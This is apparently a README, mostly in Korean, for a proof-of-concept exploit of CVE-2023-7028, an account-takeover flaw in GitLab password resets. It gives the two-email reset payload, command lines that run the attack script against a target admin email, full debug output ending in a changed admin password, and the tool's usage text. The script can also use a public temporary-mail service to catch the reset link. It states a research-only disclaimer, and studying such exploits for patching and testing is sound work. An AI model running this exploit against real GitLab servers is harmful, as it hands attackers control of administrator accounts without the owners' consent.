
This repository presents a proof-of-concept of CVE-2023-7028
이 코드는 취약점의 개념 증명이며, 소유하지 않은 Gitlab 인스턴스에 사용하도록 권장하는 것이 아닙니다.
이 도구는 연구 및 교육 목적으로만 개발되었으며, 이 도구를 사용함으로써 발생하는 모든 결과에 대해 책임을 지지 않습니다.
CVE-2023-7028은 사용자 상호작용 없이 Gitlab 관리자 계정을 탈취할 수 있게 하는 계정 탈취 취약점입니다.
이 취약점은 비밀번호 재설정 시 이메일 관리 방식에서 발생합니다. 공격자는 이메일 2개를 제공할 수 있으며 재설정 코드는 두 주소 모두로 전송됩니다.
따라서 대상 계정의 이메일 주소와 공격자의 이메일 주소를 함께 제공하여 관리자 비밀번호를 재설정할 수 있습니다.
(Gitlab은 2단계 인증이 이 취약점의 악용을 방지한다고 밝히고 있습니다. 공격자는 비밀번호를 재설정한 후에도 로그인할 수 없기 때문입니다.)
이 취약점은 asterion04 님이 발견했습니다.
예시 페이로드는 다음과 같습니다.
user[email][][email protected]&user[email][][email protected]
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]
[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
You can connect on https://gitlab.example.com/users/sign_in
Username: [email protected]
Password: l3mG2v2XN4UBzbN18ZkW
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
You can connect on https://gitlab.example.com/users/sign_in
Username: [email protected]
Password: EU7XIYjlawjb5tH2jgmU
$ python3 .\CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL]
This tool automates CVE-2023-7028 on gitlab
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Gitlab url
-t TARGET, --target TARGET
Target email
-e EVIL, --evil EVIL Evil email
-p PASSWORD, --password PASSWORD
Password
--evil 옵션(공격자의 이메일 주소를 지정) 없이 실행하면, 스크립트는 공개 임시 메일을 사용하여 비밀번호 재설정 링크를 찾습니다.
=> 이 PoC를 침투 테스트 중에 사용할 경우 주의하십시오.